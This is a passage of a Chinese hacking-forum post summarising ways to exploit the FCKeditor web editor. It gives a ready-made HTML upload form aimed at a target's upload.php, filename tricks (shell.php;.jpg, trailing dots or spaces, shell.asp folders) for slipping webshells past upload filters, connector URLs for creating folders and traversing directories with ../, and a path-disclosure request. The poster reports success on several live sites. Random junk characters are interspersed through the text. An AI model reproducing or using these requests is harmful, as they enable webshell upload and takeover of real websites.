找回密码
 立即注册
查看: 2876|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
0 j" o' Q0 R7 w3 j4 @查看编辑器版本* o5 d7 L. E+ X9 V+ d
FCKeditor/_whatsnew.html# W: F3 E" a( d! p0 d& s8 s
—————————————————————————————————————————————————————————————# z* u2 s0 Z! o+ u

+ L. \! g8 z) D  \/ ]2 ~+ o2. Version 2.2 版本! g! U4 z' x  H
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
1 m+ ^1 v6 s6 N: m5 P$ j—————————————————————————————————————————————————————————————) F3 C2 L/ g2 q
6 S9 v0 c1 G$ T. B$ C, _
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
' G6 u% r5 G3 _! X<form id="frmUpload" enctype="multipart/form-data"
8 F3 x% R% j$ m! jaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>1 O7 q3 t% m$ j% s: ]: {9 ]' I% D
<input type="file" name="NewFile" size="50"><br>3 M* O6 g4 y9 ]+ q' W9 j/ y/ W
<input id="btnUpload" type="submit" value="Upload">1 r7 f9 i! r9 Y& r$ Y
</form>$ q, H8 n! X  g4 u  P
—————————————————————————————————————————————————————————————
- y" V: ]% G& K" t1 ?
$ C( d9 a/ r$ X9 k% {1 j, D4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
* |0 q( y! {( q# \' e! ^        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。8 \0 p- r. N: [3 U+ a6 Y
    4.1:提交shell.php+空格绕过" M7 k6 w) w) N( X
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。$ p' T8 Q$ O$ M- h+ g- R
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
% k" k5 m  v" F& x—————————————————————————————————————————————————————————————8 D8 W: a: W9 Z* G  q

" L6 P+ s' W0 D. H5. 突破建立文件夹
0 n: c! G% d) _6 n* N4 WFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
4 X; A7 x, C8 q0 R6 Z7 `2 gFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp5 A$ g+ Q( `1 \6 q6 {
—————————————————————————————————————————————————————————————" P3 B! _, F' f3 _

- n. n" T0 S# ?; g, L# {6. FCKeditor 中test 文件的上传地址8 a( d# [8 F! Q3 n) O1 ?( |$ u
FCKeditor/editor/filemanager/browser/default/connectors/test.html
. `' b1 K  K# {$ G, r4 r3 D  C; dFCKeditor/editor/filemanager/upload/test.html
2 s% \  t1 i9 g+ L9 ]FCKeditor/editor/filemanager/connectors/test.html; s  V& z' A% a  e3 m
FCKeditor/editor/filemanager/connectors/uploadtest.html
1 e, M: {7 l  S( H—————————————————————————————————————————————————————————————& m# H) H: Y7 b, a4 C/ E3 ]; n
( D6 i+ E1 [" E6 V
7.常用上传地址& b, M3 D' p3 o# C* M
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/$ o& e; W) B& E( `0 @3 A
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
. l- B$ \( @" N( @) t1 ?FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)+ s) W  }, T5 N
JSP 版:: C. u6 O5 P9 {8 W# p: H
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp4 @* \9 R8 F8 P3 }
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
( ]4 B6 J6 b0 B! C件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。( @, m1 k) i8 `, n8 y
—————————————————————————————————————————————————————————————' d) C8 A7 g+ @5 m* y0 P

6 C6 I: l6 Q! H# m8.其他上传地址( Q% O* T% u2 u9 Q
FCKeditor/_samples/default.html7 S# O; g2 R1 K. {& Y$ z8 S
FCKeditor/_samples/asp/sample01.asp
2 _, E) }( ~& G5 o& z3 M' Z4 PFCKeditor/_samples/asp/sample02.asp2 F& d3 e) j+ |4 R' |( ]* a
FCKeditor/_samples/asp/sample03.asp
1 s) G) E* C, tFCKeditor/_samples/asp/sample04.asp
$ _5 j3 V: R' h, Y. U+ r一般很多站点都已删除_samples 目录,可以试试。, b, M. h, i5 T  l) m% K3 r
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
3 g3 ~: m* d4 Z4 W& b1 h—————————————————————————————————————————————————————————————
: r8 \, b/ t: M
5 X$ N/ ^" f! p+ w7 T9.列目录漏洞也可助找上传地址2 O( k8 x8 u/ Y$ B+ `$ e
Version 2.4.1 测试通过  L6 m+ W+ ?, @" @: N
修改CurrentFolder 参数使用 ../../来进入不同的目录7 S2 @/ n+ ?8 n1 ^
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
2 K5 ^. F% F8 G2 A$ Y" ~根据返回的XML 信息可以查看网站所有的目录。
+ x7 h" S7 t; f, e: |4 _FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F. c. Q( B! K+ \6 W" h: H
也可以直接浏览盘符:+ ]5 m) \9 f$ i/ N% j7 T
JSP 版本:1 t* B$ X  }, o5 |: G, ?0 m+ Q
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F  B# w$ W6 Q6 m4 S5 U7 b9 e
—————————————————————————————————————————————————————————————4 b. H6 I! P- r3 w" r# G

) |2 k+ i  S* ^: i: V9 c( q10.爆路径漏洞
& Z4 ^1 Z6 s# u5 a* }$ t: L% x( WFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
# _) n% v1 I5 v6 }# I—————————————————————————————————————————————————————————————
( F8 M" }* F! J; l' l& \9 ~9 u; B2 D% L
11. FCKeditor 被动限制策略所导致的过滤不严问题: @5 ?7 |  D+ B; e, ^
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
2 ~) U# F" C% }+ e7 B# J脆弱描述:- Y# i3 P8 ?4 x" o6 j
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:# ~4 G* l0 }# W, E  F* c# s/ f* B2 R
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
8 t" ]! ]5 w# R) G9 QFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
1 T  b( z; y3 q- E" h" c& h        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。/ f2 Q. j; ~: i: I( |. S8 F  l) @
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
, x: S6 O: L/ q6 K; j% P—————————————————————————————————————————————————————————————
% z8 b& @& j, M/ m* B' `
* O, |  Z6 C7 I2 W/ y" ]$ {% q! r, f12.最古老的漏洞,Type文件没有限制!
) ~/ O4 H- J0 K        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ' B- _# ^! q4 c* Q* Z3 U
—————————————————————————————————————————————————————————————
; Y- g4 h. R1 m8 ^
9 m+ u7 `, z/ a. D) h===============================================================================================================================================
8 \0 p6 ~) v' y6 R
! N+ Z  p$ f1 z! d( u" WFCK编辑器jsp版本漏洞:
! o" w6 [( U2 A6 h+ {0 M
) Q% T1 Y+ M/ U' ^9 S  c& p# X" g  e8 F$ M! n0 y& O
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
( U" _" G2 {  @0 N/ T: D$ P
9 j4 T- {8 r* ]& e8 y4 ^; d上传马所在目录% B. v* {& N5 \3 T$ F* v
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/7 H2 c% |" t. r, r9 k: I9 ?: w1 e
上传shell的地址:
5 |" u7 _5 a) \% f& j9 v6 uhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
" K* |. G8 g: y6 e+ R跟版本有关系.并不是百分百成功. 测试成功几个站./ }9 ]1 y1 }' v: k0 z
不能通杀.很遗憾.' w4 U( e) {7 l- g) ?
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector+ X6 O9 F$ f& O+ A+ V2 v. H4 C
如果以上地址不行可以试试
2 g$ W2 e6 Q& j  h& f7 v+ I3 PFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector  K, B, }& S9 b: J' q" ]
FCKeditor/_samples/; q: b  j* y' S- o+ m$ b6 L
FCKeditor/_samples/default.html& q$ k; e% F5 E" Q4 C
FCKeditor/editor/fckeditor.htm9 R$ T/ W$ r+ K& O# T  L/ w
FCKeditor/editor/fckdialog.html3 _( Q% D0 w0 b# F9 u1 J7 I2 a9 G

% I' K8 j7 D' u/ |. j* I; B' [, g, V# u, s6 C' ^6 t, `

* F- H/ F, p4 J7 q4 h* G; O解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
& v9 q. Y+ Z4 a  ^5 L8 ~0 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表